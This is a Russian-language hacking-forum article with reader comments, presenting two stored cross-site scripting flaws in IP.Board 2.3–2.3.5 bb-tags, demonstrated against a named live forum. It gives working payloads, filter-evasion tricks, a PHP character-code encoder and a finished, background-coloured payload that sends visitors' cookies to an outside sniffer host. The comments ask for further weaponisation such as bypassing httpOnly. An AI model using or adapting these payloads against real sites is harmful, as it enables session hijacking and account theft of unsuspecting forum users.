В этой небольшой статье я покажу вам две новые (16.12.08) уязвимости класса активный межсайтовый скриптинг в движке форума IP.Board 2.3-2.3.5 (последняя стабильная версия) на примере известного всем форума http://forum.inattack.ru/ (надо сказать что на оффициальном сайте в предоставленной demo-среде уязвимость также работает). С увеличением показателя версии движка постоянно увеличивается безопасность этого форумного движка - злоумышленники ищут всё более изощрённые методы заливки своих сценариев из-под привелигированного аккаунта, довольствуются пассивным межсайтовым скриптингом в сторонних модулях и ничего особенного нового не происходит, потому что скрипт этот уже порядком выдержан временем. Однако новые версии продуктов несут не только стабильность с багфиксами и ужесточение политики безопасности, но и нововведения, которые несут в себе ещё не исследованные участки кода, манящего к себе специалистов по безопасности и производной от них "живности". Итак, первый момент, упущенный разработчиками, ведущий к нарушению политики безопасности посредством внедрения произвольного Javascript-сценария. В новых версиях форума появились новые bb-теги, такие как: Code: [b][snapback]100[/snapback][/b] [i]This tag displays a little linked image which links back to a post - used when quoting posts from the board. Opens in same window by default.[/i] [b][topic=100]Click me![/topic][/b] [i]This tag provides an easy way to link to a topic[/i] [b][post=100]Click me![/post][/b] [i]This tag provides an easy way to link to a post.[/i] [b][acronym='Laugh Out Loud']lol[/acronym][/b] [i]Allows you to make an acronym that will display a description when moused over[/i] Не буду тянуть кота за ..., а скажу сразу - 4-й тег остался без проверки разработчиков на вложенность. Все значения параметров других bb-тегов обрамляются двойной кавычкой, а уязвимый тег - одинарной, поэтому для выхода за пределы значения параметра мы будем использовать этот же уязвимый тег. Перейдём к практике и посмотрим, что там и как выглядит. Пишем к себе в личные сообщения и делаем предпросмотр следующего кода: Code: [acronym='test1[acronym='test2']test1']test2[/acronym]test1[/acronym] И получаем на выходе следующий html-код: HTML: <acronym title='test1<acronym title='test2'>test1'>test2</acronym>test1</acronym> Видно, что значение "test2" параметра title уже вышло из пределов кавычек теперь мы можем составить свой параметр и дать ему значение. Разделять параметр от прошлого мусора будем пробелом - он не преобразуется в url-кодировку, как это часто бывает. Добавим к пример событие "onmouseover" с простым сценарием "alert(1)" и добавим ещё пробел, чтобы изолироваться от болтающейся неиспользованной кавычки справа. Итого получим такой bb-код: Code: [acronym='test1[acronym='test2 onmouseover=alert(1); ']test1']test2[/acronym]test1[/acronym] HTML: <acronym title='test1<acronym title='test2 onmouseover=alert(1); '> На сцену вступает защита, о которой я говорил - "чем больше версия, тем больше наворотов", и которая не даст нам добавить события типа onclick, onload и им подобные. Но тем не менее мы можем реализовать уязвимость через каскадные стили: style=background:url(java/**/script:alert(1)) - для IE 6 style=-moz-binding:url(http://site.com/x.xml#xss) - для FF, Форум разбивает слово javascript на две части, поэтому мы разделили его комментарием и сохранили работоспособность. Сам javascript-сценарий следует поместить в зашифрованном виде в функцию "string.fromcharcode()", иначе у вас не получится написать рабочий код без нарушения общего синтаксиса. Но и это не всё - зашифрованный сценарий (вида: 23,45,234,89,24,235,32,346,347,74,7,5 и т.д.) получится слишком длинным и форум разорвёт его пробелами, что так же делает код небоеспособным. Для этого нужно делать несколько предпросмотров и смотреть исходник - в местах, где форум свтсвил пробел вставляем уже описанный выше трюк - "/**/" (и получится что-то вроде 23,45,/**/234,89,24,235,32,346,347,/**/74,7,5 и т.д.). И опять же не всё, наберитесь терпения =). Форум так же избавляется от параметра "-moz-binding", поэтому мы используем трюк, описанный тут: http://www.thespanner.co.uk/2008/02/04/moz-binding-xss-fun/ И для варианта с "-moz-binding" содержимое файла "x.xml" должно быть следующее: Code: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> alert(1); </constructor> </implementation> </binding> </bindings> Первая уязвимость описана. Осталась вторая - не такая интересная, просто потому что реализация её не требует размышлений и поиска подходов как в первом случае. Уязвимость того же класса и опять же в bb-тегах, но на этот раз в самодельных. Админ сам может добавить bb-теги по своему усмотрению, вот тут-то мы и приведём пример на форуме http://forum.inattack.ru/. На данном форуме стоит последняя версия рассматриваемого движка и установлен дополнительный bb-тег под названием [wiki]word[/wiki], который преобразуется в ссылку на энциклопедию проекта. Все созданные таким образом дополнительные теги не только не подвергаются проверке вложенности, но и обделены проверкой, не дававшей нам использовать события типа "onerror" и ему подобные. Поэтому в поиске лёгких путей такое событие мы и используем. Посмотрим для начала как происходит нарушение структуры тега. Предпросматриваем такой код: Code: [wiki]be1[wiki]be2[/wiki]be[/wiki] И получаем: HTML: <a href='http://wiki.inattack.ru/wiki/be1<a href='http://wiki.inattack.ru/wiki/be2'>be[wiki]be</a>be'>be'>be[wiki]be</a>be</a> То бишь на месте "be2" мы уже можем разворачивать свою деятельность в следующем виде: Code: [wiki][wiki]m onmouseover=alert(document.cookie) [/wiki][/wiki] Получим событие при наведении на надпись - алерт с cookies. Для соблюдения работоспособности и добавления полноценного javascript-кода всё же придётся использовать ф-ции "eval(String.fromCharCode())" и добавлять туда комментарии на места расставляемых форумом пробелов. Искать софт для кодирования я не стал, а быстренько набросал простой скрипт на PHP: PHP: <?php $str=$_GET['str']; for($i=0; $i!=strlen($str); $i++) { if($i+1==strlen($str)) $tmp .= ord($str[$i]); else $tmp .= ord($str[$i]).','; } echo $tmp; ?> Ну и на последок я покажу полностью боевой код для вышеописанного форума, настроенный на передачу cookies пользователя на сниффер Античата(Логи тут:http://old.antichat.ru/sniff/log.php): Code: [wiki][wiki][*color=#0a1320]m onmouseover=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,/**/105,109,97,103,101,115,91,49,93/**/,46,115,114,99,61,39,104,116,116,/**/112,58,47,47,111,108,100,46,97,/**/110,116,105,99,104,97,116,46,114,/**/117,47,99,103,105,45,98,105,110,47,/**/115,46,106,112,103,63,39,43,100,/**/111,99,117,109,101,110,116,46,99,/**/111,111,107,105,101,59)); [/wiki][/color*][/wiki] В дополнение я окрасил кривой текст в цвет фона блока сообщения, поэтому больше шансов, что пользователь наведёт мышкой по ссылке, но в то же время не увидит её. Завершая сие скромное исследование хотелось бы огорчить ещё скрипт-киддисов потому как я не упомянул об одной тонкости - на всех рассматриваемых форумах кукисы присваиваются с флагом "httpOnly", что означает, что уязвимость надо дотачивать. Это не проблема для знающих людей, но проблема для шкодливых и назойливых школьников. Про обход httpOnly можно почитать на том же Inattack: http://www.inattack.ru/article/563.html. Удачи, спасибо за внимание. brain[pillow], специально для Античат.
Спасибо. Очень интересная статья. Только б вот последний абзац превратить в еще одну статью, а именно по получению этих самых кукисов минуя httpOnly... Ну показали бы нам как красиво замаскировать скриптик трассировки
а если при PHP: [acronym='test1[acronym='test2 onmouseover=alert(1); ']test1']test2[/acronym]test1[/acronym] и вылетает алерт. что из этого можно сделать?если также закодировать как у тя(кстати как мона это сделать?) сработает?.
2brain[pillow] Я так понимаю, всяких - onload, onmousedown, onmousemove, onkeydown и прочих событий для автоматизации, добиться не выйдет, их тупо скипает форум?